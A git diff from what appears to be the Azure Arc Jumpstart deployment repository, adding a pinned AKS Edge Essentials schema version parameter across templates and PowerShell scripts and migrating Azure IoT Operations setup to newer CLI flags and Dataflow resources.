b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep index 9864ea8918..37d329c5d1 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep @@ -50,6 +50,9 @@ param githubAccount string = 'microsoft' @description('Target GitHub branch') param githubBranch string = 'main' +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') +param AKSEEPinnedSchemaVersion string = 'useLatest' + var encodedPassword = base64(windowsAdminPassword) var bastionName = 'AKS-EE-Full-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -153,7 +156,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -templateBaseUrl ${templateBaseUrl} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -kubernetesDistribution ${kubernetesDistribution}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -templateBaseUrl ${templateBaseUrl} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -kubernetesDistribution ${kubernetesDistribution} -AKSEEPinnedSchemaVersion ${AKSEEPinnedSchemaVersion}' } } } diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep index 008ee87be7..9c90aa1ae1 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/main.bicep @@ -42,6 +42,11 @@ param subnetNameCloud string = 'AKS-EE-Full-Subnet' @description('AKS Edge Essentials Kubernetes distribution') param kubernetesDistribution string +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. +To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. +''') +param AKSEEPinnedSchemaVersion string = '1.13' + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/' module networkDeployment 'mgmt/network.bicep' = { @@ -69,5 +74,6 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { location: location subnetId: networkDeployment.outputs.subnetId kubernetesDistribution: kubernetesDistribution + AKSEEPinnedSchemaVersion: AKSEEPinnedSchemaVersion } } diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/Bootstrap.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/Bootstrap.ps1 index 04d4e88b71..e9a0bcae7e 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/Bootstrap.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/Bootstrap.ps1 @@ -8,7 +8,8 @@ param ( [string]$templateBaseUrl, [string]$resourceGroup, [string]$windowsNode, - [string]$kubernetesDistribution + [string]$kubernetesDistribution, + [string]$AKSEEPinnedSchemaVersion ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername,[System.EnvironmentVariableTarget]::Machine) @@ -21,6 +22,7 @@ param ( [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl,[System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('kubernetesDistribution', $kubernetesDistribution,[System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('windowsNode', $windowsNode,[System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('AKSEEPinnedSchemaVersion', $AKSEEPinnedSchemaVersion, [System.EnvironmentVariableTarget]::Machine) # Create path Write-Output "Create deployment path" diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/LogonScript.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/LogonScript.ps1 index d27781a9d3..da3866f1e5 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/LogonScript.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/artifacts/LogonScript.ps1 @@ -8,7 +8,7 @@ $schemaVersion = "1.1" $versionAksEdgeConfig = "1.0" $aksEdgeDeployModules = "main" $aksEEReleasesUrl = "https://api.github.com/repos/Azure/AKS-Edge/releases" - +$AKSEEPinnedSchemaVersion = $Env:AKSEEPinnedSchemaVersion # Requires -RunAsAdministrator New-Variable -Name AksEdgeRemoteDeployVersion -Value $AksEdgeRemoteDeployVersion -Option Constant -ErrorAction SilentlyContinue @@ -27,18 +27,21 @@ if ($env:kubernetesDistribution -eq "k8s") { } Write-Host "Fetching the latest AKS Edge Essentials release." -$latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name - -$AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" -$output = Join-Path "C:\temp" "$latestReleaseTag.zip" -Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output -Expand-Archive $output -DestinationPath "C:\temp" -Force -$AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" -$jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json -$schemaVersionAksEdgeConfig = $jsonContent.SchemaVersion -# Clean up the downloaded release files -Remove-Item -Path $output -Force -Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse +if ($AKSEEPinnedSchemaVersion -ne "useLatest") { + $SchemaVersion = $AKSEEPinnedSchemaVersion +}else{ + $latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name + $AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" + $output = Join-Path "C:\temp" "$latestReleaseTag.zip" + Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output + Expand-Archive $output -DestinationPath "C:\temp" -Force + $AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" + $jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json + $schemaVersion = $jsonContent.SchemaVersion + # Clean up the downloaded release files + Remove-Item -Path $output -Force + Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse +} # Here string for the json content $aideuserConfig = @" diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json index 7859d554d7..6cf8d1f8dd 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single/arm_template/azuredeploy.json @@ -139,6 +139,13 @@ "metadata": { "description": "Deploy Windows Node for AKS Edge Essentials" } + }, + "AKSEEPinnedSchemaVersion": { + "type": "string", + "defaultValue": "1.13", + "metadata": { + "description": "The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'" + } } }, "variables": { @@ -322,7 +329,7 @@ "fileUris": [ "[uri(variables('templateBaseUrl'), concat('artifacts/Bootstrap.ps1'))]" ], - "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Unrestricted -File Bootstrap.ps1', ' -adminUsername ', parameters('adminUsername'), ' -appId ', parameters('appId'), ' -password ', parameters('password'), ' -tenantId ', parameters('tenantId'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -location ', resourceGroup().location, ' -kubernetesDistribution ', parameters('kubernetesDistribution'), ' -windowsNode ', parameters('windowsNode'), ' -templateBaseUrl ', variables('templateBaseUrl'))]" + "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Unrestricted -File Bootstrap.ps1', ' -adminUsername ', parameters('adminUsername'), ' -appId ', parameters('appId'), ' -password ', parameters('password'), ' -tenantId ', parameters('tenantId'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -location ', resourceGroup().location, ' -kubernetesDistribution ', parameters('kubernetesDistribution'), ' -windowsNode ', parameters('windowsNode'), ' -templateBaseUrl ', variables('templateBaseUrl'), ' -AKSEEPinnedSchemaVersion ', parameters('AKSEEPinnedSchemaVersion'))]" } } }, diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/Bootstrap.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/Bootstrap.ps1 index 04d4e88b71..e9a0bcae7e 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/Bootstrap.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/Bootstrap.ps1 @@ -8,7 +8,8 @@ param ( [string]$templateBaseUrl, [string]$resourceGroup, [string]$windowsNode, - [string]$kubernetesDistribution + [string]$kubernetesDistribution, + [string]$AKSEEPinnedSchemaVersion ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername,[System.EnvironmentVariableTarget]::Machine) @@ -21,6 +22,7 @@ param ( [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl,[System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('kubernetesDistribution', $kubernetesDistribution,[System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('windowsNode', $windowsNode,[System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('AKSEEPinnedSchemaVersion', $AKSEEPinnedSchemaVersion, [System.EnvironmentVariableTarget]::Machine) # Create path Write-Output "Create deployment path" diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/LogonScript.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/LogonScript.ps1 index 82e7d079c9..dcd82d9330 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/LogonScript.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/artifacts/LogonScript.ps1 @@ -8,6 +8,7 @@ $schemaVersion = "1.1" $versionAksEdgeConfig = "1.0" $aksEdgeDeployModules = "main" $aksEEReleasesUrl = "https://api.github.com/repos/Azure/AKS-Edge/releases" +$AKSEEPinnedSchemaVersion = $Env:AKSEEPinnedSchemaVersion # Requires -RunAsAdministrator New-Variable -Name AksEdgeRemoteDeployVersion -Value $AksEdgeRemoteDeployVersion -Option Constant -ErrorAction SilentlyContinue @@ -26,18 +27,21 @@ if ($env:kubernetesDistribution -eq "k8s") { } Write-Host "Fetching the latest AKS Edge Essentials release." -$latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name - -$AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" -$output = Join-Path "C:\temp" "$latestReleaseTag.zip" -Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output -Expand-Archive $output -DestinationPath "C:\temp" -Force -$AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" -$jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json -$schemaVersionAksEdgeConfig = $jsonContent.SchemaVersion -# Clean up the downloaded release files -Remove-Item -Path $output -Force -Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse +if ($AKSEEPinnedSchemaVersion -ne "useLatest") { + $SchemaVersion = $AKSEEPinnedSchemaVersion +}else{ + $latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name + $AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" + $output = Join-Path "C:\temp" "$latestReleaseTag.zip" + Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output + Expand-Archive $output -DestinationPath "C:\temp" -Force + $AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" + $jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json + $schemaVersion = $jsonContent.SchemaVersion + # Clean up the downloaded release files + Remove-Item -Path $output -Force + Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse +} # Here string for the json content $aideuserConfig = @" diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json index 43af3f02e6..5119b87a30 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_akri/arm_template/azuredeploy.json @@ -139,6 +139,13 @@ "metadata": { "description": "Deploy Windows Node for AKS Edge Essentials" } + }, + "AKSEEPinnedSchemaVersion": { + "type": "string", + "defaultValue": "1.13", + "metadata": { + "description": "The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'" + } } }, "variables": { @@ -322,7 +329,7 @@ "fileUris": [ "[uri(variables('templateBaseUrl'), concat('artifacts/Bootstrap.ps1'))]" ], - "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Unrestricted -File Bootstrap.ps1', ' -adminUsername ', parameters('adminUsername'), ' -appId ', parameters('appId'), ' -password ', parameters('password'), ' -tenantId ', parameters('tenantId'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -location ', resourceGroup().location, ' -kubernetesDistribution ', parameters('kubernetesDistribution'), ' -windowsNode ', parameters('windowsNode'), ' -templateBaseUrl ', variables('templateBaseUrl'))]" + "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Unrestricted -File Bootstrap.ps1', ' -adminUsername ', parameters('adminUsername'), ' -appId ', parameters('appId'), ' -password ', parameters('password'), ' -tenantId ', parameters('tenantId'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -location ', resourceGroup().location, ' -kubernetesDistribution ', parameters('kubernetesDistribution'), ' -windowsNode ', parameters('windowsNode'), ' -templateBaseUrl ', variables('templateBaseUrl'), ' -AKSEEPinnedSchemaVersion ', parameters('AKSEEPinnedSchemaVersion'))]" } } }, diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_vi/artifacts/LogonScript.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_vi/artifacts/LogonScript.ps1 index 5a76f948b5..052fc8e969 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_vi/artifacts/LogonScript.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_single_vi/artifacts/LogonScript.ps1 @@ -3,7 +3,7 @@ Start-Transcript -Path C:\Temp\LogonScript.log Set-ExecutionPolicy Bypass -Scope Process -Force # Parameters -$schemaVersionAksEdgeConfig = "1.9" +$schemaVersionAksEdgeConfig = "1.13" $versionAksEdgeConfig = "1.0" $guid = ([System.Guid]::NewGuid()).ToString().subString(0,5).ToLower() $clusterName = "$Env:resourceGroup-$guid" diff --git a/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh b/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh index cbf809d6e3..08e457a9f4 100644 --- a/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh +++ b/azure_arc_k8s_jumpstart/cluster_api/gitops/basic/az_k8sconfig_capi.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh b/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh index 60f7b08814..a623f4fbd8 100644 --- a/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh +++ b/azure_arc_k8s_jumpstart/cluster_api/gitops/helm/az_k8sconfig_helm_capi.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export ingressNamespace='ingress-nginx' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh b/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh index 02076d5bbe..fca71def63 100755 --- a/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh +++ b/azure_arc_k8s_jumpstart/gke/gitops/basic/az_k8sconfig_gke.sh @@ -6,7 +6,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' # Installing Helm 3 diff --git a/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh b/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh index 6372716bb0..a8119146e5 100755 --- a/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh +++ b/azure_arc_k8s_jumpstart/gke/gitops/helm/az_k8sconfig_helm_gke.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export ingressNamespace='ingress-nginx' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh index c812a62017..ae1de49d2b 100644 --- a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh +++ b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' # Logging in to Azure using service principal diff --git a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 index 2e75226eec..a88b86dd9b 100644 --- a/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 +++ b/azure_arc_k8s_jumpstart/microk8s/gitops/helm/az_k8sconfig_helm_microk8s_windows.ps1 @@ -6,7 +6,7 @@ $password="" $tenantId="" $resourceGroup="" $arcClusterName="" -$appClonedRepo="" +$appClonedRepo="" $namespace='hello-arc' # Logging in to Azure using service principal diff --git a/azure_arc_sqlsrv_jumpstart/aws/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl b/azure_arc_sqlsrv_jumpstart/aws/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl index 81faf5e6e6..1462c044fb 100644 --- a/azure_arc_sqlsrv_jumpstart/aws/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl +++ b/azure_arc_sqlsrv_jumpstart/aws/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl @@ -67,7 +67,7 @@ function registerArcForServers() { # $token = (Get-AzAccessToken -AsSecureString).token $params += "--access-token" - $params += (ConvertFrom-SecureString $token -AsPlainText) + $params += ConvertFrom-SecureString $token -AsPlainText } & "$env:ProgramFiles\AzureConnectedMachineAgent\azcmagent.exe" $params diff --git a/azure_arc_sqlsrv_jumpstart/gcp/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl b/azure_arc_sqlsrv_jumpstart/gcp/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl index 9145f94e2b..8f348ed370 100644 --- a/azure_arc_sqlsrv_jumpstart/gcp/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl +++ b/azure_arc_sqlsrv_jumpstart/gcp/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl @@ -67,7 +67,7 @@ function registerArcForServers() { # $token = (Get-AzAccessToken -AsSecureString).token $params += "--access-token" - $params += (ConvertFrom-SecureString $token -AsPlainText) + $params += ConvertFrom-SecureString $token -AsPlainText } & "$env:ProgramFiles\AzureConnectedMachineAgent\azcmagent.exe" $params diff --git a/azure_arc_sqlsrv_jumpstart/vmware/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl b/azure_arc_sqlsrv_jumpstart/vmware/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl index 81faf5e6e6..1462c044fb 100644 --- a/azure_arc_sqlsrv_jumpstart/vmware/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl +++ b/azure_arc_sqlsrv_jumpstart/vmware/winsrv/terraform/scripts/install_arc_agent.ps1.tmpl @@ -67,7 +67,7 @@ function registerArcForServers() { # $token = (Get-AzAccessToken -AsSecureString).token $params += "--access-token" - $params += (ConvertFrom-SecureString $token -AsPlainText) + $params += ConvertFrom-SecureString $token -AsPlainText } & "$env:ProgramFiles\AzureConnectedMachineAgent\azcmagent.exe" $params diff --git a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 index b6070a6ce8..43a45fdc87 100644 --- a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 +++ b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 @@ -402,7 +402,7 @@ $maxRetries = 5 $aioStatus = "notDeployed" do { - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-secret $spnClientSecret --mq-service-type loadBalancer --mq-insecure true --simulate-plc true --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-secret $spnClientSecret --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc true --only-show-errors if ($? -eq $false) { $aioStatus = "notDeployed" Write-Host "`n" @@ -414,6 +414,7 @@ do { } } until ($aioStatus -eq "deployed" -or $retryCount -eq $maxRetries) +<# $retryCount = 0 $maxRetries = 5 @@ -422,7 +423,7 @@ do { $output = $output | ConvertFrom-Json $mqServiceStatus = ($output.postDeployment | Where-Object { $_.name -eq "evalBrokerListeners" }).status if ($mqServiceStatus -ne "Success") { - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-object-id $spnObjectId --sp-secret $spnClientSecret --mq-service-type loadBalancer --mq-insecure true --simulate-plc true --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-object-id $spnObjectId --sp-secret $spnClientSecret --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc true --only-show-errors $retryCount++ } } until ($mqServiceStatus -eq "Success" -or $retryCount -eq $maxRetries) @@ -431,9 +432,10 @@ if ($retryCount -eq $maxRetries) { Write-Host "[$(Get-Date -Format t)] ERROR: AIO deployment failed. Exiting..." -ForegroundColor White -BackgroundColor Red exit 1 # Exit the script } +#> Write-Host "[$(Get-Date -Format t)] INFO: Started Event Grid role assignment process" -ForegroundColor DarkGray -$extensionPrincipalId = (az k8s-extension show --cluster-name $arcClusterName --name "mq" --resource-group $resourceGroup --cluster-type "connectedClusters" --output json | ConvertFrom-Json).identity.principalId +$extensionPrincipalId = (az k8s-extension list --cluster-name $arcClusterName --resource-group $resourceGroup --cluster-type "connectedClusters" --query "[?extensionType=='microsoft.iotoperations']" --output json | ConvertFrom-Json).identity.principalId $eventGridTopicId = (az eventgrid topic list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) $eventGridNamespaceName = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].name" -o tsv --only-show-errors) $eventGridNamespaceId = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) diff --git a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml index 6c111f134d..1b66e752b9 100644 --- a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml +++ b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml @@ -1,34 +1,40 @@ -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeTopicMap +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowEndpoint +metadata: + name: eventgrid +spec: + endpointType: mqtt + authentication: + method: systemAssignedManagedIdentity + systemAssignedManagedIdentitySettings: + audience: https://eventgrid.azure.net + mqttSettings: + host: eventGridPlaceholder:8883 + tls: + mode: Enabled +--- +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: Dataflow metadata: name: my-topic-map - namespace: azure-iot-operations spec: - mqttBridgeConnectorRef: my-mqtt-bridge - routes: - - direction: local-to-remote - name: route-to-eventgrid - qos: 1 - source: "topic/#" + profileRef: my-dataflow-profile + operations: + - operationType: source + name: source1 + sourceSettings: + endpointRef: mq + dataSources: + - "topic/#" + - operationType: destination + name: destination1 + destinationSettings: + endpointRef: eventgrid + dataDestination: factory-gateway- --- -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeConnector +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowProfile metadata: - name: my-mqtt-bridge - namespace: azure-iot-operations + name: my-dataflow-profile spec: - image: - repository: mcr.microsoft.com/azureiotoperations/mqttbridge - tag: 0.1.0-preview - pullPolicy: IfNotPresent - protocol: v5 - bridgeInstances: 1 - clientIdPrefix: factory-gateway- - logLevel: debug - remoteBrokerConnection: - endpoint: eventGridPlaceholder:8883 - tls: - tlsEnabled: true - authentication: - systemAssignedManagedIdentity: - audience: https://eventgrid.azure.net + instanceCount: 1 \ No newline at end of file diff --git a/azure_jumpstart_ag/artifacts/PowerShell/AgLogonScript.ps1 b/azure_jumpstart_ag/artifacts/PowerShell/AgLogonScript.ps1 index 0958781088..8bd4dbc2b7 100644 --- a/azure_jumpstart_ag/artifacts/PowerShell/AgLogonScript.ps1 +++ b/azure_jumpstart_ag/artifacts/PowerShell/AgLogonScript.ps1 @@ -31,6 +31,7 @@ $global:adminPassword = $Env:adminPassword $global:customLocationRPOID = $Env:customLocationRPOID $global:appUpstreamRepo = "https://github.com/microsoft/jumpstart-agora-apps" $global:appsRepo = "jumpstart-agora-apps" +$global:AKSEEPinnedSchemaVersion = $Env:AKSEEPinnedSchemaVersion if ($industry -eq "retail") { $global:githubUser = $Env:githubUser $global:githubPat = $Env:GITHUB_TOKEN diff --git a/azure_jumpstart_ag/artifacts/PowerShell/Bootstrap.ps1 b/azure_jumpstart_ag/artifacts/PowerShell/Bootstrap.ps1 index 536ebcf20a..7f10b42be4 100644 --- a/azure_jumpstart_ag/artifacts/PowerShell/Bootstrap.ps1 +++ b/azure_jumpstart_ag/artifacts/PowerShell/Bootstrap.ps1 @@ -27,7 +27,8 @@ param ( [string]$industry, [string]$customLocationRPOID, [string]$aioStorageAccountName, - [string]$stcontainerName + [string]$stcontainerName, + [string]$AKSEEPinnedSchemaVersion ) ############################################################## @@ -66,6 +67,7 @@ param ( [System.Environment]::SetEnvironmentVariable('customLocationRPOID', $customLocationRPOID, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('aioStorageAccountName', $aioStorageAccountName, 